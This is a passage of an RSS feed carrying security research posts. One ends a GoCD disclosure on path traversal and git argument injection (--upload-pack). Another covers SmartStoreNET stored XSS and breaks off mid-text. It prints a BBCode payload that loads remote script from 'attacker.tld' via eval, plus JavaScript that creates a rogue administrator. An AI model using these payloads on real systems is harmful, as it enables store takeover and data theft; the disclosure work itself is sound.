   }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This code snippet is condensed for clarity, but three distinct steps can be identified:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;At &lt;code&gt;[1]&lt;/code&gt;, the value of &lt;code&gt;filePath&lt;/code&gt; is validated to prevent path traversal attacks;&lt;/li&gt;&lt;li&gt;At &lt;code&gt;[2]&lt;/code&gt;, various objects are created to keep track of the current job, artifact name, etc and to format this data for the final stage;&lt;/li&gt;&lt;li&gt;At &lt;code&gt;[3]&lt;/code&gt;, the artifact file is written to the local filesystem.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;While the request parameter &lt;code&gt;filePath&lt;/code&gt; is validated to prevent path traversal vulnerabilities at &lt;code&gt;[1]&lt;/code&gt;, that is not the case for the other request parameters, such as &lt;code&gt;stageCounter&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Going deeper into the objects creation step (&lt;code&gt;[2]&lt;/code&gt;), both a &lt;code&gt;JobIdentifier&lt;/code&gt; and a &lt;code&gt;StageIdentifier&lt;/code&gt; are instantiated. The role of these classes is to hold information about the CI job the incoming artifact is attached to, including values of the parameters &lt;code&gt;filePath&lt;/code&gt;, &lt;code&gt;stageCounter&lt;/code&gt;, and so on. This information is later used to craft the path the artifact will be written to.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;When the call to &lt;code&gt;putArtifact()&lt;/code&gt; is finally reached at &lt;code&gt;[3]&lt;/code&gt;, the &lt;code&gt;JobIdentifier&lt;/code&gt; object is used to craft the destination path of the artifact:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/gocd/gocd/blob/fdbdbd4477cd8ae9b90b5dae883199f01fe00dce/server/src/main/java/com/thoughtworks/go/server/controller/ArtifactsController.java&quot;&gt;&lt;strong&gt;server/src/main/java/com/thoughtworks/go/server/controller/ArtifactsController.java&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;private ModelAndView putArtifact(JobIdentifier jobIdentifier, String filePath,
                                   InputStream inputStream) throws Exception {
   File artifact = artifactsService.findArtifact(jobIdentifier, filePath);
   if (artifactsService.saveOrAppendFile(artifact, inputStream)) {
       return FileModelAndView.fileAppended(filePath);
   } else {
       return FileModelAndView.errorSavingFile(filePath);
   }
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Finally, &lt;code&gt;saveOrAppendFile()&lt;/code&gt; writes the file on the local filesystem:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/gocd/gocd/blob/3e948218bfb163c5c3d2bf5140cb4a12f110769e/server/src/main/java/com/thoughtworks/go/server/service/ArtifactsService.java&quot;&gt;&lt;strong&gt;server/src/main/java/com/thoughtworks/go/server/service/ArtifactsService.java&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;public boolean saveOrAppendFile(File dest, InputStream stream) {
   String destPath = dest.getAbsolutePath();
   try {
       LOGGER.trace(&quot;Appending file [{}]&quot;, destPath);
       try (FileOutputStream out = FileUtils.openOutputStream(dest, true)) {
           IOUtils.copyLarge(stream, out);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The final destination path, &lt;code&gt;destPath&lt;/code&gt;, is based on &lt;code&gt;stageCounter&lt;/code&gt;, which is not validated: attackers can write files outside of the intended artifact directory. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Exploitation challenges&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;When dynamically stepping through the code, several exploitation constraints arose:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;The name of the resulting file is fully controlled, but the file is written in a sub-folder whose name is not controlled and is based on the current job’s name; &lt;/li&gt;&lt;li&gt;&lt;code&gt;filePath&lt;/code&gt; can be empty, in which case the resulting file will be named with the current job’s name;&lt;/li&gt;&lt;li&gt;When submitting a ZIP file, it will be safely extracted under a folder named based on the current job’s name.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Because of these restrictions, we didn&amp;#x27;t find a way to gain arbitrary code execution without another intermediary step, even with a powerful exploitation capability like this one. (&lt;em&gt;Did you? Let us know!&lt;/em&gt;). Since the final part of the destination path is based on the job name, attackers could use the Cross-Site Scripting vulnerability to force administrators to first create a job whose name is the destination they want to write to.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;To exploit this vulnerability, the next step is to identify files and folders that are writable by the user under which the GoCD server is running and that may have a security impact if created or modified. Attackers usually try to target configuration files or directories where plugins can be installed, but GoCD does not automatically reload them upon new changes. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We used the debugging tool strace to identify files that are accessed when browsing the GoCD interface, and noticed that the GoCD java processes tried to load Ruby (ERB) templates:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;[pid  2583] stat(&quot;/go-working-dir/work/jetty-0_0_0_0-8153-cruise_war-_go-any-/webapp/WEB-INF/rails/app/views/shared/error.en.html.erb&quot;, 0x7fb3fffe5ee0) = -1 ENOENT (No such file or directory) &lt;0.000052&gt;
[pid  2583] stat(&quot;/go-working-dir/work/jetty-0_0_0_0-8153-cruise_war-_go-any-/webapp/WEB-INF/rails/app/views/shared/error.en.erb&quot;, 0x7fb3fffe5ee0) = -1 ENOENT (No such file or directory) &lt;0.000274&gt;
[pid  2583] stat(&quot;/go-working-dir/work/jetty-0_0_0_0-8153-cruise_war-_go-any-/webapp/WEB-INF/rails/app/views/shared/error.html.erb&quot;, {[...]}) = 0 &lt;0.000213&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;While intriguing at first, this behaviour can be explained by the presence of a Ruby On Rails application exposed under &lt;code&gt;/go/rails/&lt;/code&gt;. When reaching non-cached pages of this subsystem, the Ruby On Rails rendering engine searches for templates at several locations: here, &lt;code&gt;views/shared/error.en.html.erb&lt;/code&gt;, &lt;code&gt;views/shared/error.en.erb&lt;/code&gt; and &lt;code&gt;views/shared/error.html.erb&lt;/code&gt;. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Creating one of them (e.g. &lt;code&gt;/go-working-dir/work/jetty-0_0_0_0-8153-cruise_war-_go-any-/webapp/WEB-INF/rails/app/views/shared/error.en.html.erb&lt;/code&gt;) and browsing an invalid page below &lt;code&gt;/go/rails/ loads&lt;/code&gt; this template, renders its contents and grants arbitrary code execution. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Patch&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This issue was addressed by improving the validation of URLs and branch names in two commits on &lt;code&gt;ArtifactsController.java&lt;/code&gt;:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://github.com/gocd/gocd/commit/c22e0428164af25d3e91baabd3f538a41cadc82f&quot;&gt;c22e042&lt;/a&gt;: the new method &lt;code&gt;isValidStageCounter()&lt;/code&gt; ensures that &lt;code&gt;stageCounter&lt;/code&gt; is a positive integer by using &lt;code&gt;Integer.parseInt()&lt;/code&gt; in POST and PUT handlers.&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://github.com/gocd/gocd/commit/4c4bb4780eb0d3fc4cacfc4cfcc0b07e2eaf0595&quot;&gt;4c4bb47&lt;/a&gt;: the same method is applied in the GET handler.&lt;/li&gt;&lt;/ul&gt;&lt;h6&gt;CVE-2021-43286 - Argument Injection in external SCM invocations&lt;/h6&gt;&lt;p&gt;By exploiting the Stored Cross-Site Scripting, attackers could also force administrators to create a new pipeline or configuration repository. This new repository would be cloned automatically by the server using external tools: for instance, referencing a Git repository will invoke the system-wide git command. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This logic is implemented in &lt;code&gt;domain/src/main/java/com/thoughtworks/go/domain/materials/&lt;/code&gt;. The method &lt;code&gt;checkConnection()&lt;/code&gt; of classes is called when the &lt;em&gt;Test Connection&lt;/em&gt; button is clicked or when a repository is created:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;For Git, it is implemented as follows in &lt;code&gt;GitCommand.java&lt;/code&gt;: &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/gocd/gocd/blob/fdbdbd4477cd8ae9b90b5dae883199f01fe00dce/domain/src/main/java/com/thoughtworks/go/domain/materials/git/GitCommand.java&quot;&gt;&lt;strong&gt;domain/src/main/java/com/thoughtworks/go/domain/materials/git/GitCommand.java&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;public void checkConnection(UrlArgument repoUrl) {
   final String ref = fullUpstreamRef();
   final CommandLine commandLine = git().withArgs(&quot;ls-remote&quot;).withArg(repoUrl).withArg(ref);
   final ConsoleResult result = commandLine.runOrBomb(new NamedProcessTag(repoUrl.forDisplay()));

   if (!hasExactlyOneMatchingBranch(result)) {
       throw new CommandLineException(format(&quot;The ref %s could not be found.&quot;, ref));
   }
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;If you remember our previous post about the &lt;a href=&quot;https://blog.sonarsource.com/php-supply-chain-attack-on-composer&quot;&gt;PHP Supply Chain Attack on Composer&lt;/a&gt;, you have probably already identified the vulnerability:  the variable &lt;code&gt;repoUrl&lt;/code&gt; is user-controlled, its format is not validated, and it is concatenated into the command line. &lt;code&gt;withArg()&lt;/code&gt; takes care of quoting the &lt;code&gt;repoUrl&lt;/code&gt; value, which mitigates the risk of a command injection but does not prevent attackers from adding unintended arguments with the prefix &lt;code&gt;--&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The combination of three factors lead to a best-case scenario for exploitation: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;An argument can be added, without character set restriction;&lt;/li&gt;&lt;li&gt;&lt;code&gt;git ls-remote&lt;/code&gt; requires a positional argument, and the server will always add &lt;code&gt;refs/heads/master&lt;/code&gt; in the call;&lt;/li&gt;&lt;li&gt;&lt;code&gt;git ls-remote&lt;/code&gt; implements &lt;code&gt;--upload-pack&lt;/code&gt;, an option to specify the path of the executable &lt;code&gt;git-upload-pack&lt;/code&gt; on remotes.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Using &lt;code&gt;--upload-pack=...&lt;/code&gt; in the URL field will result in the execution of the following command:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/7266e0da-413d-4b31-9f47-3c5a589be55f/body-a434bc5e-c5f8-4a24-a64e-c3f738d87b63_git-ls-remote.png&quot; /&gt;&lt;p&gt;The refs/heads/master is the first positional argument: it forces git to treat it as a repository location. The value of the injection option &lt;code&gt;--upload-pack&lt;/code&gt; has the specificity to be invoked as an external command even in the case of local repositories. As an example, using &lt;code&gt;--upload-pack=”$(id&amp;gt;/tmp/id)”&lt;/code&gt; in the URL field confirms that attackers can gain arbitrary command execution:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;bash-5.0$ ls -alh /tmp/id
-rw-r--r--    1 go       root          40 Oct 27 15:35 /tmp/id
bash-5.0$ cat /tmp/id
uid=1000(go) gid=0(root) groups=0(root)&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;We gave the focus on &lt;code&gt;git&lt;/code&gt;, but note that other handlers (SVN) were also vulnerable.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Patch&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This issue was addressed with the commit &lt;a href=&quot;https://github.com/gocd/gocd/commit/6fa9fb7a7c91e760f1adc2593acdd50f2d78676b&quot;&gt;6fa9fb7&lt;/a&gt;&lt;em&gt;, &lt;/em&gt;in which developers added stronger validation on user-controlled values, and started using &lt;a href=&quot;https://web.archive.org/web/20211010145412/https://pubs.opengroup.org/onlinepubs/9699919799/basedefs/V1_chap12.html&quot;&gt;the end-of-options delimiter -- standardized by POSIX&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Action&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-10-18 - 2021-10-21&lt;/td&gt;&lt;td&gt;We report these findings to GoCD on HackerOne.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-10-18&lt;/td&gt;&lt;td&gt;GoCD confirms both issues.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-10-23&lt;/td&gt;&lt;td&gt;GoCD pushes patches on their GitHub repository.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-10-22&lt;/td&gt;&lt;td&gt;GoCD gives a heads-up about an important Security Fix coming up on their public Google Forum&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-10-24&lt;/td&gt;&lt;td&gt;GoCD sends us the experimental installer for release v21.3.0.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-10-25&lt;/td&gt;&lt;td&gt;We verify the new version is secured against these vulnerabilities.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-10-26&lt;/td&gt;&lt;td&gt;GoCD releases version v21.3.0.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-11-04&lt;/td&gt;&lt;td&gt;CVE-2021-43286, CVE-2021-43288, CVE-2021-43289, and CVE-2021-43290 are assigned to these findings.&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;In our previous blog post, we described a critical vulnerability that allowed unauthenticated attackers to get remote access to any GoCD installation. In this blog post, we described three additional vulnerabilities that could have been used by attackers to compromise a GoCD instance and to take over the underlying server.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We highly recommend that all users running GoC upgrade to the latest version (&amp;gt;= 21.3.0), since it includes patches for all the vulnerabilities we presented so far. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We would like to thank the GoCD Security Team which has been exceptionally responsive in the disclosure process. They reacted very quickly and worked with us to patch the vulnerabilities efficiently.&lt;/p&gt;&lt;h2&gt;Related Blog Posts&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/gocd-pre-auth-pipeline-takeover&quot;&gt;Agent 007: Pre-Auth Takeover of Build Pipelines in GoCD &lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/php-supply-chain-attack-on-composer&quot;&gt;PHP Supply Chain Attack on Composer&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[SmartStoreNET - Malicious Message leading to E-Commerce Takeover]]></title><description><![CDATA[Check out the details of a Cross-Site Scripting bug in the BBCode processing in SmartStoreNET and how it can be chained into arbitrary code execution!]]></description><link>https://www.sonarsource.com/blog/smartstorenet-malicious-message-leading-to-e-commerce-takeover</link><guid isPermaLink="false">8aaacb1e-e15c-585a-abc8-a8b9764bdc93</guid><dc:creator><![CDATA[Thomas Chauchefoin]]></dc:creator><pubDate>Tue, 02 Nov 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;SmartStoreNET is the leading open-source e-commerce platform for .NET, which makes it suitable for companies running Windows Server. Next to the operation of an online business, it offers advanced features, such as CRM tools, a blog and a forum. As a result, a SmartStoreNET instance handles highly sensitive data such as credit card, financial and personally identifiable information that have to be protected from attackers. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;During recent security research, we discovered two vulnerabilities that could allow attackers to gain control of the server where SmartStoreNET is installed by sending one malicious message to the instance&amp;#x27;s administrator. In this article, we present the root cause analysis of two Cross-Site Scripting bugs, and then describe how they could be exploited by attackers. Finally, we will describe the patches applied by the maintainers and the limitations of those patches.&lt;/p&gt;&lt;h2&gt;Impact&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Our findings, CVE-2021-32607 and CVE-2021-32608, impact the latest release of SmartStoreNET, 4.1.1. The maintainers released security patches as commits on GitHub. However, they decided not to release a new version with the patches; you have to build the project yourself to secure your instance. These are Cross-Site Scripting vulnerabilities that allow attackers to perform actions with the victim’s set of privileges without their knowledge. A successful attack against an administrator can lead to the compromise of the e-commerce store and the interception of financial transactions and personal data.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Their exploitation requires a victim to read either a malicious forum post or private message, specially crafted by the attacker. The following video shows all the necessary steps—note that the attack could be fully automated and the manual actions you see in the video are there to make it easier to understand:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/hXQ6kQ-X4Dg&quot;&gt;Watch the video&lt;/a&gt;&lt;/p&gt;&lt;h2&gt;Technical details&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In this section, we describe both the root cause of the Cross-Site Scripting vulnerabilities we identified, and how they can be leveraged to gain Arbitrary Code Execution by targeting an administrator.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The high-level idea behind these bugs is that developers correctly sanitize user-controlled data, but later apply further processing steps, thus voiding the security guarantees of the first sanitization pass, with potentially dangerous results. Simon Scannell, a member of the SonarSource R&amp;amp;D team, &lt;a href=&quot;https://hacktivity.com/index.php/presentations/&quot;&gt;presented this code pattern at Hacktivity 2021.&lt;/a&gt;&lt;/p&gt;&lt;h3&gt;Stored Cross-Site Scripting (CVE-2021-32607, CVE-2021-32608)&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;SmartStore comes with a public forum where all registered members can exchange posts and private messages. In these texts, users can use basic BBcode markup to add limited styling to their messages. The BBcode is translated by &lt;code&gt;SmartStore.Core.Html.BBCodeHelper&lt;/code&gt; (&lt;code&gt;src/Libraries/SmartStore.Core/Html/BBCodeHelper.cs&lt;/code&gt;) using regular expressions. For instance, this helper is called in &lt;code&gt;SmartStore.Services.Forums.ForumExtensions&lt;/code&gt; (&lt;code&gt;src/Libraries/SmartStore.Services/Forums/ForumExtensions.cs&lt;/code&gt;), after processing a user message:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;public static string FormatPrivateMessageText(this PrivateMessage message)
{
   // [...]
   var text = message.Text;
   // [...]
   text = HtmlUtils.ConvertPlainTextToHtml(text.HtmlEncode());
   return BBCodeHelper.ToHtml(text);
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The call to &lt;code&gt;HtmlEncode()&lt;/code&gt; is only a wrapper around &lt;code&gt;System.Web.HttpUtility.HtmlEncode()&lt;/code&gt;. The intent is to encode dangerous characters to their equivalent HTML entities to prevent parts of user messages from being interpreted as HTML tags. For example, &lt;code&gt;&amp;lt;&lt;/code&gt; will be encoded as &lt;code&gt;&amp;amp;lt&lt;/code&gt;;.   &lt;code&gt;HtmlUtils.ConvertPlainTextToHtml()&lt;/code&gt; is not tasked with any security-sensitive operations; it only replaces spaces and new lines to keep formatting intact. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Notice  that during the BBCode processing, the tags with arguments (&lt;code&gt;[url=...][/url]&lt;/code&gt;, at &lt;code&gt;[1]&lt;/code&gt;) will be processed before the ones without arguments (&lt;code&gt;[url][/url]&lt;/code&gt;, at &lt;code&gt;[2]&lt;/code&gt;):&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;private static readonly Regex regexUrl1 = new Regex(@&quot;\[url\=([^\]]+)\]([^\]]+)\[/url\]&quot;, RegexOptions.Compiled | RegexOptions.IgnoreCase);
private static readonly Regex regexUrl2 = new Regex(@&quot;\[url\](.+?)\[/url\]&quot;, RegexOptions.Compiled | RegexOptions.IgnoreCase);
// [...]
if (replaceUrl)
{
   // format the url tags: [url=http://www.smartstore.com]my site[/url]
   // becomes: &lt;a href=&quot;http://www.smartstore.com&quot;&gt;my site&lt;/a&gt;
   text = regexUrl1.Replace(text, &quot;&lt;a href=\&quot;$1\&quot; rel=\&quot;nofollow\&quot;&gt;$2&lt;/a&gt;&quot;); // [1]
 
   // format the url tags: [url]http://www.smartstore.com[/url]
   // becomes: &lt;a href=&quot;http://www.smartstore.com&quot;&gt;http://www.smartstore.com&lt;/a&gt;
   text = regexUrl2.Replace(text, &quot;&lt;a href=\&quot;$1\&quot; rel=\&quot;nofollow\&quot;&gt;$1&lt;/a&gt;&quot;); // [2]
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;While users can’t use quotes to escape the &lt;code&gt;href&lt;/code&gt; attribute because of prior encoding steps, using an URL tag with arguments &lt;em&gt;within&lt;/em&gt; an URL tag without arguments will have an unexpected result. The following drawing shows the transformation of a message containing tangled &lt;code&gt;[url]&lt;/code&gt; BBCode tags:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/e355d5e0-8655-4eb1-a022-e18ed3aaf0bd/body-e83fe7b8-c1c4-463b-9aa8-77f0953b54f2_RD-37%2Bsmartstore%2Bcode%25402x.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;When applying the second replacement, the non-encoded quotes created by the first step will close the &lt;code&gt;href&lt;/code&gt; attribute of the second regex pass. Once processed by the browser, the final DOM will look like this—notice the presence of new, user-controlled attributes in the first &lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt; tag:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/51a73016-5f4d-467f-810e-1d2bc7ca9584/body-8479faf2-8691-49e4-99ad-f7db7adf0374_Capture%2Bd%25E2%2580%2599e%25CC%2581cran%2B2021-10-26%2Ba%25CC%2580%2B16.35.17.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This behavior is enough to add arbitrary attributes to the first &lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt; tag, leading to persistent Cross-Site Scripting through forum posts and private messages. This bug is a perfect example of the sanitize-then-transform pattern and is very similar to other bugs we discussed in our previous articles (&lt;a href=&quot;https://blog.sonarsource.com/zimbra-webmail-compromise-via-email&quot;&gt;Zimbra 8.8.15 - Webmail Compromise via Email&lt;/a&gt;, &lt;a href=&quot;https://blog.sonarsource.com/mybb-remote-code-execution-chain&quot;&gt;MyBB Remote Code Execution Chain &lt;/a&gt;).&lt;/p&gt;&lt;h3&gt;Crafting a Code Execution chain&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Cross-Site Scripting vulnerabilities are very powerful, because they allow attackers to perform actions with the victim’s set of privileges. The persistent nature of these bugs makes it easier for the attacker to compel the victim&amp;#x27;s interaction: who wouldn’t read a private message on a platform they administer? &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We chose to demonstrate the potential impact of our findings by crafting a payload that would force the creation of a new administrator, as soon as the victim opens a private message and without further interaction. This malicious new user will then be able to use the plugins page to upload a malicious NuGet package (&lt;code&gt;*.nupkg&lt;/code&gt;) on the server to execute arbitrary code.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The vulnerable BBCode parsing is performed on both private messages and forum posts. The following sections will focus on a scenario where only private messages are mentioned, but the exploitation process is similar for both.&lt;/p&gt;&lt;h4&gt;Creating the Cross-Site Scripting payload&lt;/h4&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As previously demonstrated, we are limited to adding new attributes to an &lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt; tag and can’t create new ones because of the various encoding stages. This limit on the usable character set will also require a &lt;em&gt;stager&lt;/em&gt;: a deliberately small payload that will fetch and execute a larger one. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;So, how can we make this payload fire as soon as the private message is rendered? We chose to use the fact that several CSS animations are implemented in the third-party library Font Awesome, which is already loaded by SmartStoreNET. By associating an animation to the &lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt; element we injected and creating an &lt;code&gt;onwebkitanimationend&lt;/code&gt; attribute, it will be executed without user interaction. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The final payload you can see in the video is the following:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;[url] [url=style=animation-name:fa-spin; onwebkitanimationend=$.get(`http://attacker.tld/x.js`,function(_){eval(_)}) x=] [/url] [/url]&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Then, automatically creating an administrator is a pure front-end development task: the attacker only needs to fetch the CSRF token and then perform the POST request to the endpoint &lt;code&gt;/admin/customer/create&lt;/code&gt;: &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;async function run()
{
   const customer_create_url = location.protocol + &apos;//host.tld/admin/customer/create&apos;;
   let res = await fetch(customer_create_url, {credentials: &apos;include&apos;});
   var parser = new DOMParser();
   var htmlDoc = parser.parseFromString(await res.text(), &apos;text/html&apos;);
   let csrf = htmlDoc.getElementsByName(&apos;__RequestVerificationToken&apos;);
   data = {
       save: &apos;save&apos;,
       __RequestVerificationToken: csrf[0].attributes.value.nodeValue,
       Id: 0,
       Username: &apos;evil_admin&apos;,
       Email: &apos;evil_admin@evil.tld&apos;,
       Password: &apos;evil_admin&apos;,
       Gender: &apos;M&apos;,
       FirstName: &apos;evil&apos;,
       LastName: &apos;evil&apos;,
       DateOfBirth: &apos;5/1/2021&apos;,
       Company: &apos;evil&apos;,
       AdminComment: &apos;evil&apos;,
       SelectedCustomerRoleIds: 1,
       IsTaxExempt: false,
       Active: true,
       LoadedTabs: &apos;#customer-edit-1&apos;
   }
   let body = new URLSearchParams();
   Object.keys(data).map(k =&gt; body.append(k, data[k]));
   body.append(&apos;SelectedCustomerRoleIds&apos;, 3);
   let foo = await fetch(customer_create_url, {method: &apos;POST&apos;, body: body, credentials: &apos;include&apos;});
}
 
run()&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This payload can be hosted anywhere, as long the right CORS headers are present in the response. &lt;/p&gt;&lt;h4&gt;Executing arbitrary code&lt;/h4&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;SmartStoreNET can be extended with both official and third-party plugins. There is no “official” store for them, and no mandatory code signing: users can craft malicious packages and upload them directly from the administration dashboard. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/a265e4d8-3eec-43d8-adae-acfaf8146746/body-3569aa58-74c3-4dd5-9865-5a81cf0e840f_Capture%2Bd%25E2%2580%2599e%25CC%2581cran%2B2021-10-05%2Ba%25CC%2580%2B16.09.51.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In order to validate this idea and to try to emulate what attackers could realistically do, we crafted a SmartStoreNET plugin that would execute the command &lt;code&gt;calc.exe&lt;/code&gt; during the install process. We then compiled it with the right .NET target and packaged it with SmartStoreNET’s tools.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;using SmartStore.Core.Plugins;
// [...]
namespace SmartStore.Evil
{
   public class Evil : BasePlugin
   {
       // [...]
       public static string SystemName =&gt; &quot;SmartStore.Evil&quot;;
       // [...]
       public override void Install()
       {
           System.Diagnostics.Process p = System.Diagnostics.Process.Start(&quot;calc.exe&quot;);
           p.WaitForInputIdle();
           base.Install();
       }
       // [...]
   }
